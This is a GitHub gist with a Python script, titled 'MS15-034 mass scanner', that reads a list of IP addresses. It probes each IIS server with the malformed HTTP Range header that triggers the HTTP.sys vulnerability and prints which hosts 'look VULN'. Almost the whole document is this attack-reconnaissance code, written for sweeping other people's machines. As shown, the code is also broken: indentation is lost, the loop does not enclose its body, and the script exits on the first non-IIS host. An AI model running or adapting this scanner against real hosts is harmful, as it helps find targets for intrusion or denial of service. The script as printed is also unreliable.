Skip to content

Instantly share code, notes, and snippets.

@xsuperbug
Created April 16, 2015 09:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xsuperbug/22d34affd4161001c209 to your computer and use it in GitHub Desktop.
Save xsuperbug/22d34affd4161001c209 to your computer and use it in GitHub Desktop.
MS15-034 mass scanner
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import random
import time
dosya = open("liste.txt","r")
ipAddress=[]
for i in dosya:
ipAddr = i
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
print "[*] Not IIS"
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print ipAddr + "Looks VULN\n"
elif " The request has an invalid header name" in goodResp:
print "[*] Looks Patched"
else:
print "[*] Unexpected response, cannot discern patch status"
time.sleep(2)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment